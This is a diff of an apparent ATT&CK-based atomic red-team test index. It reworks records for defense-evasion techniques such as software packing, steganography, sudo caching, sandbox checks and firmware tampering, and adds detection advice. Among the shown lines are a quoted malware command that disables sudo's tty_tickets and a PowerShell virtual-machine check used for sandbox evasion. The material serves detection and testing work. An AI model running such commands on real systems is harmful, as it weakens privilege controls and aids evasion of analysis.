       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Software Packing
+      x_mitre_data_sources:
+      - 'File: File Metadata'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T13:56:47.154Z'
+      created: '2020-02-05T14:17:46.686Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Heuristic detection
+      - Signature-based detection
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--deb98323-e13f-4b0c-8d94-175379069062
       description: "Adversaries may perform software packing or virtual machine software
         protection to conceal their code. Software packing is a method of compressing
         or encrypting an executable. Packing an executable changes the file signature
@@ -38670,31 +39865,27 @@ defense-evasion:
         list of known packers is available, (Citation: Wikipedia Exe Compression)
         but adversaries may create their own packing techniques that do not leave
         the same artifacts as well-known packers to evade defenses.  "
-      id: attack-pattern--deb98323-e13f-4b0c-8d94-175379069062
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-02-05T20:05:41.548Z'
-      created: '2020-02-05T14:17:46.686Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Heuristic detection
-      - Signature-based detection
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      x_mitre_contributors:
+      - Filip Kafka, ESET
       x_mitre_detection: Use file scanning to look for known software packers or artifacts
         of packing techniques. Packing is not a definitive indicator of malicious
         activity, because legitimate software may use packing techniques to reduce
         binary size or to protect proprietary code.
-      x_mitre_data_sources:
-      - 'File: File Metadata'
-      - 'File: File Content'
-      x_mitre_contributors:
-      - Filip Kafka, ESET
-      x_mitre_platforms:
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1027/002
+        external_id: T1027.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/570.html
+        external_id: CAPEC-570
+        source_name: capec
+      - url: https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf
+        description: Kafka, F. (2018, January). ESET's Guide to Deobfuscating and
+          Devirtualizing FinFisher. Retrieved August 12, 2019.
+        source_name: ESET FinFisher Jan 2018
+      - source_name: Wikipedia Exe Compression
+        description: Executable compression. (n.d.). Retrieved December 4, 2014.
+        url: http://en.wikipedia.org/wiki/Executable_compression
       identifier: T1027.002
     atomic_tests:
     - name: Binary simply packed by UPX (linux)
@@ -38783,50 +39974,50 @@ defense-evasion:
         name: sh
   T1036.006:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Space after Filename
+      x_mitre_data_sources:
+      - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T20:26:01.690Z'
+      created: '2020-02-10T20:47:10.082Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       id: attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.
 
         For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).
 
         Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
-      name: Space after Filename
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1036.006
-        url: https://attack.mitre.org/techniques/T1036/006
-      - external_id: CAPEC-649
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/649.html
-      - url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/
-        description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors
-          are suddenly back. Retrieved July 8, 2017.
-        source_name: Mac Backdoors are back
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-03-29T20:26:01.690Z'
-      created: '2020-02-10T20:47:10.082Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
       x_mitre_contributors:
       - Erye Hernandez, Palo Alto Networks
-      x_mitre_data_sources:
-      - 'File: File Metadata'
       x_mitre_detection: It's not common for spaces to be at the end of filenames,
         so this is something that can easily be checked with file monitoring. From
         the user's perspective though, this is very hard to notice from within the
         Finder.app or on the command-line in Terminal.app. Processes executed from
         binaries containing non-standard extensions in the filename are suspicious.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1036/006
+        external_id: T1036.006
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/649.html
+        external_id: CAPEC-649
+        source_name: capec
+      - source_name: Mac Backdoors are back
+        description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors
+          are suddenly back. Retrieved July 8, 2017.
+        url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/
       identifier: T1036.006
     atomic_tests:
     - name: Space After Filename (Manual)
@@ -38861,12 +40052,20 @@ defense-evasion:
         cleanup_command: rm -rf /tmp/atomic-test-T1036.006
   T1027.003:
     technique:
-      created: '2020-02-05T14:28:16.719Z'
-      modified: '2020-09-16T19:24:20.350Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Steganography
+      x_mitre_data_sources:
+      - 'File: File Metadata'
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T16:46:56.760Z'
+      created: '2020-02-05T14:28:16.719Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916
       description: "Adversaries may use steganography techniques in order to prevent
         the detection of hidden information. Steganographic techniques can be used
@@ -38881,40 +40080,58 @@ defense-evasion:
         code downloaded another obfuscated script to gather intelligence from the
         victim's machine and communicate it back to the adversary.(Citation: McAfee
         Malicious Doc Targets Pyeongchang Olympics)  "
-      name: Steganography
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1027.003
-        url: https://attack.mitre.org/techniques/T1027/003
-      - external_id: CAPEC-636
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/636.html
-      - url: https://en.wikipedia.org/wiki/Duqu
-        description: Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.
-        source_name: Wikipedia Duqu
-      - url: https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
-        description: Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious
-          Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.
-        source_name: McAfee Malicious Doc Targets Pyeongchang Olympics
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'File: File Content'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: Detection of steganography is difficult unless artifacts
         are left behind by the obfuscation process that are detectable with a known
-        signature. Look for strings are other signatures left in system artifacts
-        related to decoding steganography.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+        signature. Look for strings or other signatures left in system artifacts related
+        to decoding steganography.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1027/003
+        external_id: T1027.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/636.html
+        external_id: CAPEC-636
+        source_name: capec
+      - source_name: Wikipedia Duqu
+        description: Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.
+        url: https://en.wikipedia.org/wiki/Duqu
+      - source_name: McAfee Malicious Doc Targets Pyeongchang Olympics
+        description: Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious
+          Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.
+        url: https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
     atomic_tests: []
   T1553:
     technique:
+      type: attack-pattern
+      modified: '2021-10-14T21:18:32.225Z'
+      name: Subvert Trust Controls
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Metadata'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      x_mitre_version: '1.1'
+      created: '2020-02-05T14:54:07.588Z'
       revoked: false
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      - Autoruns Analysis
+      - Digital Certificate Validation
+      - Process whitelisting
+      - User Mode Signature Validation
+      - Windows User Account Control
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: false
       id: attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7
       description: "Adversaries may undermine security controls that will either warn
         users of untrusted activity or prevent execution of untrusted programs. Operating
@@ -38932,48 +40149,11 @@ defense-evasion:
         Adversaries may also create or steal code signing certificates to acquire
         trust on target systems.(Citation: Securelist Digital Certificates)(Citation:
         Symantec Digital Certificates) "
-      name: Subvert Trust Controls
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1553
-        url: https://attack.mitre.org/techniques/T1553
-      - url: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
-        description: Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved
-          January 31, 2018.
-        source_name: SpectorOps Subverting Trust Sept 2017
-      - url: https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
-        description: Ladikov, A. (2015, January 29). Why You Shouldn’t Completely
-          Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.
-        source_name: Securelist Digital Certificates
-      - url: http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
-        description: Shinotsuka, H. (2013, February 22). How Attackers Steal Private
-          Keys from Digital Certificates. Retrieved March 31, 2016.
-        source_name: Symantec Digital Certificates
-      - url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
-        description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning
-          Attacks and Defenses. Retrieved April 3, 2018.
-        source_name: SpectorOps Code Signing Dec 2017
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-04-26T15:41:39.612Z'
-      created: '2020-02-05T14:54:07.588Z'
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Metadata'
-      - 'File: File Modification'
-      - 'Module: Module Load'
       x_mitre_detection: "Collect and analyze signing certificate metadata on software
         that executes within the environment to look for unusual certificate characteristics
         and outliers. Periodically baseline registered SIPs and trust providers (Registry
@@ -38991,38 +40171,49 @@ defense-evasion:
         high false positive alerts, so compare against baseline knowledge for how
         systems are typically used and correlate modification events with other indications
         of malicious activity where possible. "
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-      - Autoruns Analysis
-      - Digital Certificate Validation
-      - Process whitelisting
-      - User Mode Signature Validation
-      - Windows User Account Control
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1553
+        external_id: T1553
+        source_name: mitre-attack
+      - source_name: SpectorOps Subverting Trust Sept 2017
+        description: Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved
+          January 31, 2018.
+        url: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
+      - source_name: Securelist Digital Certificates
+        description: Ladikov, A. (2015, January 29). Why You Shouldn’t Completely
+          Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.
+        url: https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
+      - source_name: Symantec Digital Certificates
+        description: Shinotsuka, H. (2013, February 22). How Attackers Steal Private
+          Keys from Digital Certificates. Retrieved March 31, 2016.
+        url: http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
+      - source_name: SpectorOps Code Signing Dec 2017
+        description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning
+          Attacks and Defenses. Retrieved April 3, 2018.
+        url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
     atomic_tests: []
   T1548.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1548.003
-        url: https://attack.mitre.org/techniques/T1548/003
-      - url: https://www.sudo.ws/
-        description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
-        source_name: sudo man page 2018
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
-        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
-          traffic. Retrieved July 10, 2017.
-        source_name: OSX.Dok Malware
-      - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
-        description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually
-          Does. Retrieved March 19, 2018.
-        source_name: cybereason osx proton
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Sudo and Sudo Caching
+      x_mitre_data_sources:
+      - 'Process: Process Metadata'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-27T01:03:26.306Z'
+      created: '2020-01-30T14:34:44.992Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0
       description: |-
         Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
 
@@ -39033,34 +40224,34 @@ defense-evasion:
         Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.
 
         In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.
-      id: attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - root
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-27T01:03:26.306Z'
-      created: '2020-01-30T14:34:44.992Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_effective_permissions:
-      - root
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: On Linux, auditd can alert every time a user's actual ID
         and effective ID are different (this is what happens when you sudo). This
         technique is abusing normal functionality in macOS and Linux systems, but
         sudo has the ability to log all input and output based on the <code>LOG_INPUT</code>
         and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.
-      x_mitre_data_sources:
-      - 'Process: Process Metadata'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1548/003
+        external_id: T1548.003
+        source_name: mitre-attack
+      - source_name: sudo man page 2018
+        description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
+        url: https://www.sudo.ws/
+      - source_name: OSX.Dok Malware
+        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
+          traffic. Retrieved July 10, 2017.
+        url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
+      - source_name: cybereason osx proton
+        description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually
+          Does. Retrieved March 19, 2018.
+        url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
       identifier: T1548.003
     atomic_tests:
     - name: Sudo usage
@@ -39108,6 +40299,30 @@ defense-evasion:
           sudo visudo -c -f /etc/sudoers
   T1497.001:
     technique:
+      type: attack-pattern
+      modified: '2021-10-18T14:57:07.973Z'
+      name: System Checks
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '2.1'
+      created: '2020-03-06T20:57:37.959Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_defense_bypassed:
+      - Static File Analysis
+      - Signature-based detection
+      - Host forensic analysis
+      - Anti-virus
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--29be378d-262d-4e99-b00d-852d573628e6
       description: "Adversaries may employ various system checks to detect and avoid
         virtualization and analysis environments. This may include changing behaviors
@@ -39117,9 +40332,9 @@ defense-evasion:
         the core functions of the implant. They may also search for VME artifacts
         before dropping secondary or additional payloads. Adversaries may use the
         information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
-        during automated discovery to shape follow-on behaviors. \n\nSpecific checks
-        will vary based on the target and/or adversary, but may involve behaviors
-        such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),
+        during automated discovery to shape follow-on behaviors.(Citation: Deloitte
+        Environment Awareness)\n\nSpecific checks will vary based on the target and/or
+        adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),
         [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information
         Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012)
         to obtain system information and search for VME artifacts. Adversaries may
@@ -39138,41 +40353,10 @@ defense-evasion:
         temperature, and audio devices, could also be used to gather evidence that
         can be indicative a virtual environment. Adversaries may also query for specific
         readings from these devices.(Citation: Unit 42 OilRig Sept 2018)"
-      name: System Checks
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1497.001
-        url: https://attack.mitre.org/techniques/T1497/001
-      - source_name: McAfee Virtual Jan 2017
-        url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/
-        description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual
-          Machine. Retrieved April 17, 2019.
-      - url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
-        description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle
-          Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September
-          24, 2018.
-        source_name: Unit 42 OilRig Sept 2018
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-04-21T15:16:10.604Z'
-      created: '2020-03-06T20:57:37.959Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
       x_mitre_contributors:
       - Deloitte Threat Library Team
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
       x_mitre_detection: Virtualization/sandbox related system checks will likely
         occur in the first steps of an operation but may also occur throughout as
         an adversary learns the environment. Data and events should not be viewed
@@ -39183,13 +40367,24 @@ defense-evasion:
         for suspicious processes being spawned that gather a variety of system information
         or perform other forms of Discovery, especially in a short period of time,
         may aid in detection.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '2.0'
-      x_mitre_defense_bypassed:
-      - Static File Analysis
-      - Signature-based detection
-      - Host forensic analysis
-      - Anti-virus
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1497/001
+        external_id: T1497.001
+        source_name: mitre-attack
+      - url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
+        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
+          May 18, 2021.
+        source_name: Deloitte Environment Awareness
+      - url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/
+        description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual
+          Machine. Retrieved April 17, 2019.
+        source_name: McAfee Virtual Jan 2017
+      - url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
+        description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle
+          Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September
+          24, 2018.
+        source_name: Unit 42 OilRig Sept 2018
       identifier: T1497.001
     atomic_tests:
     - name: Detect Virtualization Environment (Linux)
@@ -39261,149 +40456,168 @@ defense-evasion:
           if((($Manufacturer.ToLower() -eq "microsoft corporation") -and ($Model.ToLower().contains("virtual"))) -or ($Manufacturer.ToLower().contains("vmware")) -or ($Model.ToLower() -eq "virtualbox")) {write-host "Virtualization environment detected!"} else {write-host "No virtualization environment detected!"}
   T1542.001:
     technique:
-      id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada
-      description: |-
-        Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)
-
-        System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
-      name: System Firmware
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542.001
-        url: https://attack.mitre.org/techniques/T1542/001
-      - external_id: CAPEC-532
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/532.html
-      - url: https://en.wikipedia.org/wiki/BIOS
-        description: Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.
-        source_name: Wikipedia BIOS
-      - url: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
-        description: Wikipedia. (2017, July 10). Unified Extensible Firmware Interface.
-          Retrieved July 11, 2017.
-        source_name: Wikipedia UEFI
-      - url: http://www.uefi.org/about
-        description: UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.
-        source_name: About UEFI
-      - url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
-        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
-          Firmware Security Research. Retrieved January 5, 2016.
-        source_name: MITRE Trustworthy Firmware Measurement
-      - url: http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
-        description: 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions
-          about BIOS Security. Retrieved December 11, 2015.'
-        source_name: MITRE Copernicus
-      - url: https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/
-        description: Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against
-          Vault 7 Disclosure Scanning. Retrieved March 13, 2017.
-        source_name: McAfee CHIPSEC Blog
-      - url: https://github.com/chipsec/chipsec
-        description: Intel. (2017, March 18). CHIPSEC Platform Security Assessment
-          Framework. Retrieved March 20, 2017.
-        source_name: Github CHIPSEC
-      - url: http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
-        description: Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details.
-          Retrieved March 20, 2017.
-        source_name: Intel HackingTeam UEFI Rootkit
       type: attack-pattern
+      name: System Firmware
+      x_mitre_data_sources:
+      - 'Firmware: Firmware Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-05-19T21:22:37.865Z'
+      created: '2019-12-19T19:43:34.507Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-05-19T21:22:37.865Z'
-      created: '2019-12-19T19:43:34.507Z'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_contributors:
-      - Jean-Ian Boutin, ESET
-      - McAfee
-      - Ryan Becwar
-      x_mitre_data_sources:
-      - 'Firmware: Firmware Modification'
-      x_mitre_detection: |-
-        System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.
-
-        Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada
       x_mitre_defense_bypassed:
       - Host intrusion prevention systems
       - Anti-virus
       - File monitoring
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      description: |-
+        Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)
+
+        System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
+      x_mitre_contributors:
+      - Jean-Ian Boutin, ESET
+      - McAfee
+      - Ryan Becwar
+      x_mitre_detection: |-
+        System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.
+
+        Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542/001
+        external_id: T1542.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/532.html
+        external_id: CAPEC-532
+        source_name: capec
+      - source_name: Wikipedia BIOS
+        description: Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.
+        url: https://en.wikipedia.org/wiki/BIOS
+      - source_name: Wikipedia UEFI
+        description: Wikipedia. (2017, July 10). Unified Extensible Firmware Interface.
+          Retrieved July 11, 2017.
